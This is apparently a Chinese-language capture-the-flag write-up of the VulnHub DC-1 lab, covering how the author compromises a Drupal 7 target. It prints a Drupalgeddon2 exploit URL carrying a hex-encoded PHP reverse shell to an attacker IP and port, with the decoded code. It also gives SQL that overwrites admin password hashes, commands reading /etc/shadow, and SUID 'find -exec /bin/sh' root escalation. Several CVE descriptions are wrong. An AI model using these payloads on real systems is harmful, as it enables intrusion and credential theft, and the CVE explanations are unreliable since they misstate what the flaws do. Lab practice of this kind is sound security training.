[ vulnhub靶机 ] 渗透测试综合靶场 DC-1 通关记录
参考DC-1靶场搭建及渗透实战详细过程(DC靶场系列)-CSDN博客
一. 环境搭建
(第一个dc的环境搭建,就复制别人的了)
1. 准备工具
渗透利器kali
可参考下面文章进行安装
DC-1靶场机
官网下载 https://download.vulnhub.com/dc/DC-1.zip
2. 安装过程
解压后得到个.ova文件

设置好相关操作

提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面,也许点进去可以用ctrl加alt退出。没试过。

出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net,不懂桥接模式的小伙伴建议参考
“桥接”和“NAT”方式区别 - 知乎 (zhihu.com)

二. 渗透过程
这一过程需要用到kali,打开我们的渗透利器kali(root模式下)
先扫存活主机

kali 的ip是192.168.179.128
目标是192.168.179.131
2.信息收集:探端口以及服务

发现
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 40798/udp status
| 100024 1 41918/tcp6 status
| 100024 1 43987/udp6 status
|_ 100024 1 55518/tcp status
55518/tcp open status 1 (RPC #100024)
我们逐段解读这份 nmap -A -p- 扫描结果,把每个细节的含义、风险和背景讲清楚:
一、主机基本信息
plaintext
Nmap scan report for 192.168.176.131
Host is up (0.0014s latency).
MAC Address: 00:0C:29:AD:C5:38 (VMware)
- 目标 IP:
192.168.176.131,和你的 Kali 在同一虚拟网段(176.0/24)。 - 主机状态:
Host is up说明主机在线,0.0014s延迟极低(同一局域网内通信)。 - MAC 地址:
00:0C:29是 VMware 虚拟机的厂商标识,说明这是一台 VMware 虚拟机构建的测试靶机。
二、端口与服务详情
plaintext
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
- 这行表示:共扫描 65535 个 TCP 端口,其中 65531 个是 “关闭” 状态(主机回复了
RST包,说明主机是活跃的,不是 “黑洞” 设备),仅 4 个端口开放。
1. 22/tcp → SSH 服务(远程登录)
plaintext
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
- 服务版本:
OpenSSH 6.0p1 Debian 4+deb7u7→ 这是 **Debian 7(Wheezy)** 系统的默认 SSH 版本,发布于 2014 年,存在多个高危漏洞:- 比如 CVE-2016-0777(“用户枚举” 漏洞,可通过 SSH 响应时间判断账号是否存在);
- CVE-2018-15473(“特权升级” 漏洞,低权限用户可提权到 root)。
- 密钥类型:支持
DSA(1024 位,已被视为不安全,建议禁用)、RSA(2048 位,较安全)、ECDSA(256 位,安全)三种密钥。
2. 80/tcp → HTTP 服务(Web 网站)
plaintext
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-server-header: Apache/2.2.22 (Debian)
- Web 服务器:
Apache httpd 2.2.22 (Debian)→ 该版本是 Debian 7 的默认 Apache,存在多个漏洞:- 比如 CVE-2011-3192(
mod_cgi模块的 “命令执行” 漏洞,可通过恶意请求执行系统命令); - CVE-2017-7679(“路径遍历” 漏洞,可读取服务器任意文件)。
- 比如 CVE-2011-3192(
- CMS 框架:
Drupal 7(从http-generator、robots.txt路径(如/modules/、/themes/)可明确判断)。Drupal 7 虽仍有维护,但历史漏洞极多:- 比如 CVE-2018-7600(“Drupalgeddon2” 远程代码执行漏洞,曾被大规模利用);
- 低版本 Drupal 还存在 “SQL 注入”“权限绕过” 等风险。
3. 111/tcp + 55518/tcp → RPC 服务(远程过程调用)
plaintext
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 40798/udp status
| 100024 1 41918/tcp6 status
| 100024 1 43987/udp6 status
|_ 100024 1 55518/tcp status
55518/tcp open status 1 (RPC #100024)
- 服务作用:
rpcbind是 RPC(远程过程调用)的 “端口映射服务”,负责管理 NFS、NIS 等 RPC 服务的端口分配。 - 风险点:RPC 服务若未做访问控制,可能被攻击者利用:
- 枚举服务器上运行的 RPC 服务(比如通过
rpcinfo命令); - 利用 RPC 服务的漏洞(如 CVE-2010-2932 “rpcbind 拒绝服务漏洞”,可导致服务崩溃)。
- 枚举服务器上运行的 RPC 服务(比如通过
三、操作系统与网络环境
plaintext
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.42 ms 192.168.176.131
- 操作系统:Nmap 判定为
Linux 3.2-3.16,结合 SSH(Debian 7包)和 Apache(Debian 7包)的版本,可确定这是 **Debian 7(Wheezy)** 系统。该系统在 2018 年已停止官方支持,无安全补丁更新,属于 “高危过时系统”。 - 网络距离:
1 hop说明目标与你的 Kali 在同一局域网(192.168.176.0/24),扫描结果完全准确。
先从web看看CMS 框架:Drupal 7(从http-generator、robots.txt路径(如/modules/、/themes/)可明确判断)。Drupal 7 虽仍有维护,但历史漏洞极多:
看别人的文章是直接用使用MSF渗透。emm,msf就是有
Metasploit(MSF)是一款开源渗透测试框架,它的漏洞利用模块本质是对 ** 历史公开漏洞(如 CVE 编号漏洞)** 的 “可执行化封装”。
还可以去百度搜,

这里主要看后面的description
这些 Description(描述)是模块的 “核心身份卡”,直接告诉你模块针对的漏洞类型、依赖条件、攻击效果—— 我们还是按 “攻击模块(exploit,优先看) ” 和 “辅助模块(auxiliary,次要看) ” 分类,逐个解读关键信息,帮你快速判断 “这个模块能不能用、适合不适合你的 Drupal 7 目标”:
一、核心关注:Exploit 模块(能直接拿 Shell 的攻击模块)
这类模块的 Description 都包含 “Remote Command Execution(RCE,远程命令执行) ”“SQL Injection(SQL 注入) ” 等 “能突破权限” 的关键词,是你渗透的核心工具,按优先级解读:
| 模块路径 | Description 解读(翻译 + 核心信息) | 对你的 Drupal 7 目标是否适用? |
|---|---|---|
1. exploit/unix/webapp/drupal_coder_exec | Drupal CODER Module Remote Command Execution翻译:Drupal CODER 模块远程命令执行核心:这是针对 Drupal “CODER 扩展模块” 的漏洞,必须目标安装了 CODER 模块(开发人员常用的代码检查模块),才能通过漏洞执行系统命令。 | ✅ 适用,但有前提:目标要装 CODER 模块;若没装,这个模块没用。 |
2. exploit/unix/webapp/drupal_drupalgeddon2 | Drupal Drupalgeddon 2 Forms API Property Injection翻译:Drupal Drupalgeddon 2(漏洞别称)表单 API 属性注入漏洞核心:这是 Drupal 核心系统漏洞(不依赖任何扩展模块),通过表单 API 的参数注入执行代码,覆盖 Drupal 7.x/8.x 未打补丁版本,是最通用、成功率最高的漏洞。 | ✅ 强烈推荐,100% 适用 Drupal 7,且不用依赖任何额外模块,优先试这个。 |
3. exploit/multi/http/drupal_drupageddon | Drupal HTTP Parameter Key/Value SQL Injection翻译:Drupal HTTP 参数键值 SQL 注入漏洞核心:这是早期 Drupal 的 SQL 注入漏洞,仅针对 Drupal 7.0-7.31 版本(非常旧的版本),通过构造 HTTP 参数注入 SQL 语句,进而执行命令。 | ⚠️ 仅适用 “Drupal 7.0-7.31”;若你的目标版本比 7.31 新(比如 7.50+),这个模块没用。 |
4. exploit/unix/webapp/drupal_restws_exec | Drupal RESTWS Module Remote PHP Code Execution翻译:Drupal RESTWS 模块远程 PHP 代码执行漏洞核心:针对 Drupal “RESTWS 扩展模块”(提供 API 接口的模块)的漏洞,必须目标安装了 RESTWS 模块,才能通过 API 调用执行 PHP 代码。 | ✅ 适用,但有前提:目标要装 RESTWS 模块;若没装,这个模块没用。 |
5. exploit/unix/webapp/drupal_restws_unserialize | Drupal RESTful Web Services unserialize() RCE翻译:Drupal RESTful Web Services(RESTWS 模块)反序列化远程代码执行漏洞核心:也是针对 RESTWS 模块的漏洞,但利用方式是 “反序列化”(比上一个模块的利用条件更严格),同样需要目标安装 RESTWS 模块。 | ✅ 适用,但前提同上(装 RESTWS 模块),且成功率比 “drupal_restws_exec” 低,优先试上一个。 |
6. exploit/unix/webapp/php_xmlrpc_eval | PHP XML-RPC Arbitrary Code Execution翻译:PHP XML-RPC 任意代码执行漏洞核心:这不是 Drupal 专属漏洞,而是 PHP 语言 XML-RPC 扩展的通用漏洞 —— 若 Drupal 启用了 XML-RPC 服务(且 PHP 版本存在该漏洞),才能利用。 | ❌ 不推荐,不是 Drupal 专属漏洞,针对性差,大概率失败,优先用前面的 Drupal 专属模块。 |
二、次要了解:Auxiliary 模块(辅助信息收集,不能拿 Shell)
这类模块的 Description 都偏向 “信息探测、枚举、轻度漏洞利用”(比如读文件、枚举用户),不能直接获取目标权限,新手可以先忽略,后续需要补充信息时再用:
| 模块路径 | Description 解读 | 作用(为什么不用优先看) |
|---|---|---|
1. auxiliary/gather/drupal_openid_xxe | Drupal OpenID External Entity Injection翻译:Drupal OpenID 外部实体注入漏洞(XXE 漏洞) | 只能通过 XXE 漏洞读取目标服务器的小文件(如配置文件片段),不能执行命令,无法拿 Shell。 |
2. auxiliary/scanner/http/drupal_views_user_enum | Drupal Views Module Users Enumeration翻译:Drupal Views 模块用户枚举漏洞 | 只能枚举 Drupal 的注册用户名(如 admin、test),不能获取密码或权限,对拿 Shell 帮助不大。 |
三、总结:看 Description 的 “3 个核心判断点”
以后再看 MSF 模块描述,不用逐字读,抓 3 个关键点就能快速筛选:
- 是否有 “RCE/Remote Command Execution/Remote Code Execution”:有就说明能直接拿权限,优先关注;
- 是否依赖 “XX Module”:比如 “CODER Module”“RESTWS Module”,有就说明需要目标装对应模块,没装就跳过;
- 是否限定 “版本范围”:比如 “Drupal 7.0-7.31”,要确认你的目标版本在范围内,否则没用。
对你的 Drupal 7 目标,按这个顺序选模块:drupal_drupalgeddon2(无依赖、全版本)→ drupal_coder_exec(需 CODER 模块)→ drupal_restws_exec(需 RESTWS 模块)→ 其他模块(备选)。
怪不得别人直接选Drupal Drupalgeddon 2 Forms API Property Injection。
好,该我了。

真神奇。让我看看这个漏洞原理。
1. 漏洞本质:表单 API 属性注入
Drupal 的表单系统(Forms API)通过关联数组(Render Array)来定义表单元素的渲染逻辑。这些数组中的键以#开头(如#type、#markup),用于控制表单的行为。攻击者通过篡改这些属性的值,将恶意代码注入到 Drupal 的渲染流程中,最终触发 PHP 代码执行。
看了下msf的包
http://192.168.176.131/?q=user/password&name[#post_render][]=passthru&name[#markup]=php -r 'eval(hex2bin("2f2a3c3f706870202f2a2a2f206572726f725f7265706f7274696e672830293b20246970203d20273139322e3136382e3137362e313239273b2024706f7274203d20343434343b2069662028282466203d202773747265616d5f736f636b65745f636c69656e7427292026262069735f63616c6c61626c652824662929207b202473203d20246628227463703a2f2f7b2469707d3a7b24706f72747d22293b2024735f74797065203d202773747265616d273b207d206966202821247320262620282466203d202766736f636b6f70656e27292026262069735f63616c6c61626c652824662929207b202473203d202466282469702c2024706f7274293b2024735f74797065203d202773747265616d273b207d206966202821247320262620282466203d2027736f636b65745f63726561746527292026262069735f63616c6c61626c652824662929207b202473203d2024662841465f494e45542c20534f434b5f53545245414d2c20534f4c5f544350293b2024726573203d2040736f636b65745f636f6e6e6563742824732c202469702c2024706f7274293b2069662028212472657329207b2064696528293b207d2024735f74797065203d2027736f636b6574273b207d20696620282124735f7479706529207b2064696528276e6f20736f636b65742066756e637327293b207d206966202821247329207b2064696528276e6f20736f636b657427293b207d20737769746368202824735f7479706529207b2063617365202773747265616d273a20246c656e203d2066726561642824732c2034293b20627265616b3b20636173652027736f636b6574273a20246c656e203d20736f636b65745f726561642824732c2034293b20627265616b3b207d206966202821246c656e29207b2064696528293b207d202461203d20756e7061636b28224e6c656e222c20246c656e293b20246c656e203d2024615b276c656e275d3b202462203d2027273b207768696c6520287374726c656e28246229203c20246c656e29207b20737769746368202824735f7479706529207b2063617365202773747265616d273a202462202e3d2066726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b20636173652027736f636b6574273a202462202e3d20736f636b65745f726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b207d207d2024474c4f42414c535b276d7367736f636b275d203d2024733b2024474c4f42414c535b276d7367736f636b5f74797065275d203d2024735f747970653b2069662028657874656e73696f6e5f6c6f6164656428277375686f73696e272920262620696e695f67657428277375686f73696e2e6578656375746f722e64697361626c655f6576616c272929207b20247375686f73696e5f6279706173733d6372656174655f66756e6374696f6e2827272c202462293b20247375686f73696e5f62797061737328293b207d20656c7365207b206576616c282462293b207d2064696528293b"));'&name[#type]=markup
中间16进制转换是/*<?php /**/ error_reporting(0); $ip = '192.168.176.129'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
看起来原理有点多。以后单开一个吧。

这条命令和提示符代表 **“通过 Python 升级到交互式 bash shell”**,是渗透测试中常用的操作,目的是让获取的基础 Shell 拥有更完善的功能(比如 Tab 补全、命令历史、后台运行等)。具体解释如下:
1. python -c 'import pty;pty.spawn("/bin/bash")' 命令的作用
-
这是一条利用 Python 生成交互式 bash shell的命令:
python -c:在命令行直接执行后面的 Python 代码(无需写脚本文件);import pty:导入 Python 的pty模块(pty是 “伪终端” 模块,用于模拟终端交互);pty.spawn("/bin/bash"):通过pty模块启动一个真正的/bin/bash进程(Linux 的 bash shell),替换当前的基础 Shell。
-
为什么要执行这条命令?你之前通过漏洞获取的可能是 “非交互式 Shell”(比如 Meterpreter 的
shell命令返回的基础 Shell),这类 Shell 功能有限(比如不能用上下箭头翻历史命令、Tab 键补全失效、无法后台运行程序)。执行这条命令后,会升级为 “交互式 bash shell”,操作起来和直接登录服务器的终端一样方便。
2. www-data@DC-1:/var/www$ 提示符的含义
这是升级后的 bash shell 的终端提示符,每个部分都有具体含义:
www-data:当前登录的用户(Web 服务器的默认运行用户,比如 Apache/Nginx 通常用这个用户,权限较低);DC-1:当前主机的主机名(看起来是一个渗透测试靶机,比如经典的 DC 系列靶机);/var/www:当前所在的目录(Web 服务器存放网站文件的默认目录,比如 Drupal 的代码就放在这里);$:表示当前是普通用户权限(如果是 root 用户,会显示#)。
总结
这条命令的作用是 **“把基础 Shell 升级为功能完善的交互式 bash shell”**,而后面的提示符告诉你:你现在以www-data用户身份,在DC-1主机的/var/www目录下操作,拥有普通用户权限。这是渗透测试中获取 Shell 后非常关键的一步,方便后续执行更复杂的命令(比如查看文件、提权等)。
找Drupal的默认配置文件

Drupal 的核心配置文件 settings.php 中存放数据库凭据(用户名、密码等),是由其运行机制和设计逻辑决定的,即使在靶机(如 DC-1)中,这一设计也完全贴合真实环境的 Drupal 运行需求,具体原因如下:
1. Drupal 必须依赖数据库运行,配置文件是 “连接桥梁”
Drupal 是一个动态内容管理系统(CMS),所有核心功能(用户管理、内容发布、权限控制等)都需要依赖数据库存储数据(如用户信息、文章内容、系统配置等)。
settings.php 的核心作用之一就是告诉 Drupal 如何连接数据库—— 如果没有这些凭据,Drupal 启动时无法找到数据库,整个站点会直接瘫痪。因此,数据库凭据是 Drupal 运行的 “必要配置”,必须在配置文件中明确指定。
2. 遵循 “配置与代码分离” 的设计原则
Drupal 的设计遵循 “配置信息与程序代码分离” 的原则:
- 程序代码(如模块、主题)负责实现功能逻辑;
- 配置信息(如数据库连接、站点名称)则通过
settings.php等文件单独管理,方便部署和环境切换(比如开发环境和生产环境可以使用不同的数据库,只需修改配置文件即可)。
数据库凭据作为最核心的配置信息,自然需要放在 settings.php 中,让 Drupal 启动时能自动读取并建立数据库连接。
3. 靶机保留这一设计,是为了模拟真实环境的 “安全测试场景”
在真实的 Drupal 站点中,settings.php 同样会存储数据库凭据 —— 这既是功能需求,也可能成为安全风险(如果配置文件权限不当或被攻击者获取,就会泄露数据库访问权限)。
DC-1 等靶机的目的是模拟真实渗透场景,因此保留了这一设计:
- 让学习者体验 “通过漏洞获取配置文件→提取数据库凭据→进一步渗透数据库” 的完整流程(这是真实渗透中常见的攻击链);
- 配合靶机中的
flag2提示(“利用这些凭据做更多事”),引导学习者理解 “敏感配置泄露” 的危害和利用方式。
4. 为什么不加密存储?
可能会疑惑:“数据库凭据明文存储不安全,为什么不加密?”
- 从功能角度:Drupal 启动时需要快速读取凭据并连接数据库,如果加密存储,需要额外的解密逻辑和密钥管理,会增加系统复杂度和启动耗时;
- 从安全角度:Drupal 更依赖 “文件权限控制” 来保护
settings.php(如设置为444只读权限,仅允许服务器用户访问),而非加密凭据 —— 这也是真实服务器的常见做法(通过权限隔离而非加密来保护敏感配置)。
连接数据库mysql -udbuser -pR0ck3t


密码加密了
参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal China
法一:修改admin密码
我们得先找到加密文件,Drupal的加密脚本在
/var/www/scripts/password-hash.sh目录下,我们先退出mysql
打开加密脚本
cat /var/www/scripts/password-hash.sh


password:123456 hash: $S$DCIxAVK.t1jmfdZv8vSwIJG599b.h.2jOKnN.9FICGdMwux8O1Z1
得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码
mysql -udbuser -pR0ck3t
use drupaldb;update users set pass = "$S$DCIxAVK.t1jmfdZv8vSwIJG599b.h.2jOKnN.9FICGdMwux8O1Z1" where name = 'admin' or name = 'Fred';



翻译
“特殊权限(Special PERMS)会帮助你找到 passwd 文件 —— 但你需要用 -exec 参数执行命令,才能弄明白如何获取 shadow 文件里的内容。”
(注:这里的 passwd 特指 Linux 系统的 /etc/passwd 文件,shadow 特指 /etc/shadow 文件,是存储用户身份和密码信息的核心敏感文件。)
关键信息解释
这句话是 Linux 渗透测试中的实战指导,核心围绕 “如何利用特殊权限突破文件权限限制,获取敏感的密码信息”,需要拆解 3 个关键技术点:
1. Special PERMS(特殊权限):突破权限的 “钥匙”
这里的 “特殊权限” 主要指 Linux 的 SUID 或 SGID 权限,是渗透测试中常用的 “提权 / 突破限制” 手段:
- SUID 权限:程序执行时,会临时获得程序 “所有者” 的权限(比如一个
root所有的 SUID 程序,普通用户执行时也能拥有 root 权限)。 - 作用:
/etc/passwd默认可读,其实不用特殊权限也能看;但/etc/shadow仅 root 可读,必须借助带 SUID 的程序(如find、cat)才能突破限制,这也是 “特殊权限” 的核心价值。
2. -exec:让find命令 “顺便干活” 的参数
-exec 是 Linux find 命令的核心参数,作用是 “找到符合条件的文件后,顺便执行指定命令”。在这句话里,它的用法是:先用find找到带 SUID 权限的程序,再通过 -exec 调用这个程序去读取/etc/shadow。

当前获取的是www-data用户并不是root用户,发现有个flag4用户。我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码。
5. Linux提权
需要用到SUID提权,参考
看别人的文章做真爽。
find / -perm -u=s -type f 2>/dev/null

这个命令是 Linux 系统中枚举所有带 SUID 权限的文件的经典命令,在渗透测试中常用于寻找 “权限突破的潜在工具”,尤其适合你之前关注的 “获取 /etc/shadow” 这类场景。
一、命令拆解:每个参数的作用
bash
find / -perm -u=s -type f 2>/dev/null
| 部分 | 含义解释 |
|---|---|
find / | 从系统根目录(/)开始递归查找文件(遍历整个系统的所有目录)。 |
-perm -u=s | 筛选 “用户权限位(u)设置了 SUID 权限(s)” 的文件。SUID 权限:程序执行时,会以文件 “所有者” 的权限运行(比如 root 的 SUID 程序,普通用户执行时也有 root 权限)。 |
-type f | 只查找 “普通文件”(排除目录、链接等类型)。 |
2>/dev/null | 将错误输出(如 “权限不足无法访问某目录” 的提示)丢弃(不显示),避免干扰结果。 |
二、核心作用:找到 “能帮你突破权限的工具”
这个命令的输出结果,是系统中所有 “可能被用来提权或读取敏感文件” 的 SUID 程序。例如:如果输出中包含 /usr/bin/find 或 /bin/cat,且它们的所有者是root(用ls -l查看),意味着:
- 普通用户可以执行这些程序,且执行时会临时获得
root权限。 - 结合你之前的需求(读
/etc/shadow),就可以用这些程序突破shadow的权限限制(因为shadow默认只有 root 能读)。
三、实战举例:找到后怎么用?
假设命令输出了 /usr/bin/find(带 root 的 SUID 权限),你可以这样读取/etc/shadow:
bash
# 利用SUID的find,通过-exec执行cat命令(以root权限)
find /tmp -name "随便一个不存在的文件名" -exec cat /etc/shadow \;
原理:find是 root 的 SUID 程序,执行-exec cat /etc/shadow时,cat会以 root 权限运行,自然能读到shadow的内容。
四、为什么这是渗透测试必用命令?
- SUID 是权限突破口:大部分 Linux 系统会默认给一些关键程序(如
passwd、sudo)设置 SUID,但如果管理员误配置(比如给find、vim设置了 SUID),就会成为渗透测试的 “后门”。 - 直接关联你的目标:你需要获取
/etc/shadow,而这个命令正是帮你找到 “能绕过权限读取它” 的工具 —— 这也是之前那句话 “Special PERMS will help FIND... -exec that command” 的具体落地命令。
find比较常用,可以执行root权限的命令找查文件,
find / -name index.php -exec "/bin/sh" \;
一键获取完整项目代码
找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec "/bin/sh" \;
#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)


就是通过find的suid权限后面加-exec "/bin/sh" \;就提权了。
更多推荐



所有评论(0)